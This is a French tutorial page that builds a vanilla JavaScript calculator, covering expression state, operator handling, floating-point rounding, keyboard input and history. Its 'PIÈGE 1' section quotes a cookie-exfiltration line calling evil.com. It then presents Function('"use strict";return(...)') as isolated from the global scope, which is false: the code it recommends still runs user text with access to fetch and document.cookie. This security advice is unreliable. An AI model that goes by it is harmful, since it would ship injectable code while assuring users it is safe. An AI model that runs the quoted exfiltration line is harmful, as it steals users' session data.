Calculatrice Monique
Calculatrice complète avec display expression + résultat. Faite avec amour pour Monique.
- Enchaîner des opérations sans eval()
- Organiser une grille en CSS Grid
- Gérer les cas limites, comme la division par zéro
Pourquoi JS vanilla et pas une lib ? Parce que comprendre comment une calculatrice fonctionne t'apprend 3 concepts fondamentaux du JS : la gestion d'état, l'évaluation d'expressions, et la gestion des cas limites (erreurs, double opérateur...).
Ce qu'on construit : Une string "expression" qui se construit au fur et à mesure que l'utilisateur appuie sur les touches. Quand il appuie sur =, on évalue cette expression. C'est le même principe qu'un terminal ou une console JS.
Le vrai défi n'est pas le calcul, c'est la gestion des états bizarres : - Que se passe-t-il si on appuie deux fois sur + ? - Que se passe-t-il si on commence par un opérateur ? - Comment gérer les nombres décimaux (0.1 + 0.2) ?
L'ÉTAT current = la string d'expression en cours de construction ex: "12+5*3" ou "100-" ou "0.5" justCalc = flag qui indique qu'on vient de calculer Pourquoi ce flag ? Si tu tapes "5+3=8" puis "2", tu veux commencer un nouveau calcul (résultat: 2) et pas continuer l'ancien (résultat: 82)
let current = '' let justCalc = false function appendVal(v) {Si on vient de calculer et qu'on tape un chiffre : on repart de zéro. Mais si on tape un opérateur, on continue avec le résultat précédent.
if (justCalc && !isNaN(v) && v !== '.') current = '' justCalc = false
Deux opérateurs consécutifs → on remplace le dernier Exemple : "5+" puis "-" donne "5-" et pas "5+-"
const ops = ['+', '-', '*', '/'] if (ops.includes(v) && ops.includes(current.slice(-1))) { current = current.slice(0, -1) }Si on commence par un point → on préfixe "0" "." devient "0." pour que "0.5" soit valide
if (v === '.' && current === '') current = '0' current += v display.textContent = current || '0' } function calcule() { if (!current) return try {Function() en mode strict = évaluation sécurisée Plus sûr que eval() car isolé dans sa propre portée Pas accès aux variables globales de ta page
const result = Function('"use strict";return(' + current + ')')()toFixed(10) évite 0.1+0.2=0.30000000000000004 parseFloat retire les zéros inutiles : "1.50000" → "1.5"
current = parseFloat(result.toFixed(10)).toString() display.textContent = current justCalc = true } catch {Expression invalide (ex: "5+" sans deuxième opérande)
display.textContent = 'Erreur syntaxe' current = '' } } function suppr() { current = '' display.textContent = '0' justCalc = false }
PIÈGE 1 : eval() est dangereux ❌ const result = eval(current) → eval() a accès à toutes tes variables globales. Un utilisateur malveillant peut taper : "fetch('https://evil.com?data='+document.cookie)" et exfiltrer des données.
Function('"use strict";return(' + current + ')')() → Isolé, pas accès au scope global. Bien plus sûr.
PIÈGE 2 : Les virgules flottantes ❌ 0.1 + 0.2 = 0.30000000000000004 en JavaScript → C'est normal, c'est IEEE 754 (la norme des nombres flottants).
parseFloat(result.toFixed(10)) arrondit à 10 décimales → 0.30000000000000004 devient 0.3
Support clavier document.addEventListener('keydown', (e) => { if (e.key >= '0' && e.key <= '9') appendVal(e.key) if (['+','-','*','/'].includes(e.key)) appendVal(e.key) if (e.key === 'Enter' || e.key === '=') calcule() if (e.key === 'Escape') suppr() if (e.key === 'Backspace') { current = current.slice(0, -1) display.textContent = current || '0' } })
Historique des calculs const history = []
function calcule() { if (!current) return try { const expr = current const result = Function('"use strict";return(' + expr + ')')() current = parseFloat(result.toFixed(10)).toString() display.textContent = current justCalc = true // Sauvegarde dans l'historique history.unshift({ expr, result: current }) if (history.length > 5) history.pop() renderHistory() } catch { display.textContent = 'Erreur syntaxe' current = '' } }
ce que tu viens d'apprendre // Ton code vanilla : let current = '' function appendVal(v) { current += v; display.textContent = current }
// Devient en React : const [current, setCurrent] = useState('') const appendVal = (v) => setCurrent(prev => prev + v)
// Le display se met à jour automatiquement // car React re-render quand l'état change. // Plus besoin de display.textContent = current
Édite les variables CSS et observe le résultat en temps réel.
Chargement des commentaires…